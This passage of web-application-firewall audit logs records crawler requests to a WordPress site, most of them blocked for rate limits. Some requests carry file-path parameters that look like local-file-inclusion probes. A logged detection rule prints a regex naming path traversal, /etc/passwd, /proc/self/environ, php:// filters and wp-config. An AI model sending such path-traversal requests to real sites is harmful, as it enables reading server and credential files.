\"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":279,"p2":2632,"p3":0,"p4":0,"p5":422,"sr":153,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:46.239603 +0100","transaction_id":"abPhPlH1YMuwIMtyvU1fRAAAAcc","remote_address":"216.73.216.152","remote_port":41246,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fatito2.jmkconsulting-ci.com%2Ffichiers%2FImage_haut_accueil.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"9a5a760b63c5fab70a00ba7b503f712a","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2070974"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"9a5a760b63c5fab70a00ba7b503f712a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/atito2.jmkconsulting-ci.com/fichiers/Image_haut_accueil.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":289,"p2":2651,"p3":0,"p4":0,"p5":446,"sr":140,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:46.331034 +0100","transaction_id":"abPhPlH1YMuwIMtyvU1fRQAAAcc","remote_address":"216.73.216.152","remote_port":41246,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fatito2.jmkconsulting-ci.com%2Fimages%2Flogo.png HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"83f3adc6b83f03f7218320292014ac45","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"15271101"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"83f3adc6b83f03f7218320292014ac45","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/atito2.jmkconsulting-ci.com/images/logo.png& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":273,"p2":2654,"p3":0,"p4":0,"p5":484,"sr":158,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:46.422391 +0100","transaction_id":"abPhPlH1YMuwIMtyvU1fRgAAAcc","remote_address":"216.73.216.152","remote_port":41246,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fatito2.jmkconsulting-ci.com%2Ffichiers%2FmariageAAA.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"8530de94529fdbe516b30fd3de30b414","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2070977"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"8530de94529fdbe516b30fd3de30b414","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/atito2.jmkconsulting-ci.com/fichiers/mariageAAA.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":262,"p2":2711,"p3":0,"p4":0,"p5":432,"sr":132,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:46.512515 +0100","transaction_id":"abPhPjT0M4xfGsNBJdxA_QAAAVc","remote_address":"216.73.216.152","remote_port":43146,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fatito2.jmkconsulting-ci.com%2Fimages%2Fmarker2.png HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"3708e9f57418902da59816bfd4ff14e2","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"15271104"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"3708e9f57418902da59816bfd4ff14e2","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/atito2.jmkconsulting-ci.com/images/marker2.png& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":196,"p2":1913,"p3":0,"p4":0,"p5":448,"sr":123,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:46.798680 +0100","transaction_id":"abPhPjT0M4xfGsNBJdxA_gAAAVc","remote_address":"216.73.216.152","remote_port":43146,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fatito2.jmkconsulting-ci.com%2Fimages%2Fmarker-single.png HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"b4451b6d3f0e999bb05077410012f812","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"15271107"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"b4451b6d3f0e999bb05077410012f812","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/atito2.jmkconsulting-ci.com/images/marker-single.png& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":279,"p2":2512,"p3":0,"p4":0,"p5":544,"sr":137,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:46.939195 +0100","transaction_id":"abPhPjT0M4xfGsNBJdxA_wAAAVc","remote_address":"216.73.216.152","remote_port":43146,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Ftemplate_Agrotek_jmk%2Fsource%2Ffa9904f4821403c25e3aae9a019e670a-1435003328.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"984545ef93dc23bfb25b123497e92011","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9078644"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"984545ef93dc23bfb25b123497e92011","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/template_Agrotek_jmk/source/fa9904f4821403c25e3aae9a019e670a-1435003328.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":178,"p2":1825,"p3":0,"p4":0,"p5":350,"sr":110,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:46.982429 +0100","transaction_id":"abPhPlH1YMuwIMtyvU1fRwAAAcc","remote_address":"216.73.216.152","remote_port":41246,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fatito2.jmkconsulting-ci.com%2Fimages%2Fwhite-logo.png HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"4594f524e15f99b5ff6cea7dbe28b53b","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9078647"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"4594f524e15f99b5ff6cea7dbe28b53b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/atito2.jmkconsulting-ci.com/images/white-logo.png& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":188,"p2":2205,"p3":0,"p4":0,"p5":470,"sr":133,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:47.006260 +0100","transaction_id":"abPhP1H1YMuwIMtyvU1fSAAAAcc","remote_address":"216.73.216.152","remote_port":41246,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fatito2.jmkconsulting-ci.com%2Ffichiers%2Fespace_banniere.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"f6575015a8227082443bc0260f90f20b","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"15174071"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"f6575015a8227082443bc0260f90f20b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/atito2.jmkconsulting-ci.com/fichiers/espace_banniere.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":214,"p2":2141,"p3":0,"p4":0,"p5":415,"sr":137,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:57.263634 +0100","transaction_id":"abPhSFH1YMuwIMtyvU1figAAAcI","remote_address":"57.141.20.33","remote_port":44428,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/share/locale/nl/LC_MESSAGES/libapt-pkg7.0.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.33","X-Forwarded-Proto":"https","X-Request-Id":"2556a22d276417e7f3d5514a52ece674","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12029891"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"2556a22d276417e7f3d5514a52ece674","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/nl/LC_MESSAGES/libapt-pkg7.0.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":181,"p2":4150,"p3":0,"p4":0,"p5":330,"sr":109,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:05:49.344083 +0100","transaction_id":"abPhfFH1YMuwIMtyvU1gnwAAAdM","remote_address":"57.141.20.41","remote_port":48380,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/usr/share/terminfo/n/ntconsole-60 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.41","X-Forwarded-Proto":"https","X-Request-Id":"b7a179cfa91c1fecd2efdf6fbd2e0d7f","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2233343"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"b7a179cfa91c1fecd2efdf6fbd2e0d7f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/n/ntconsole-60||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":291,"p2":5397,"p3":0,"p4":0,"p5":293,"sr":113,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:06:40.824970 +0100","transaction_id":"abPhr_a6lumP0T36rfGJyAAAAFA","remote_address":"57.141.20.38","remote_port":45636,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/7d/1259110b9375787b05d26e3b0200c42a164550 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.38","X-Forwarded-Proto":"https","X-Request-Id":"82b5de7ce39afdb57849432973cc4767","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"15008918"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"82b5de7ce39afdb57849432973cc4767","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/7d/1259110b9375787b05d26e3b0200c42a164550||\"] [severity \"NOTICE\"] [tag \"service_im360\"]","Pattern match \"fff[0-9a-d]$\" at UNIQUE_ID. [file \"/usr/share/modsecurity_lws/017_i360_weak_pass.conf\"] [line \"23\"] [id \"77316842\"] [msg \"IM360 WAF: Performance measurement||Method:GET||Perf all:combined=11361, p1=362, p2=10999, p3=0, p4=0, p5=0, sr=155, sw=0, l=0, gc=0||Py scan:10884||Lua scan:||RBL:||RSV:7.71||T:APACHE||Content-Length:0||RBLRulesList:r77211230r77140880||\"] [severity \"NOTICE\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":362,"p2":10999,"p3":0,"p4":0,"p5":361,"sr":155,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:07:35.311668 +0100","transaction_id":"abPh51QCd8W53Be-qe-AcgAAAg0","remote_address":"216.73.216.152","remote_port":45582,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fatito.com%2Fjs%2Fmap-plugins.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"0d159348f0570f45c6a60faa33378ac7","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14354894"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"0d159348f0570f45c6a60faa33378ac7","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"438\"] [id \"77360582\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:31||Range:||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag 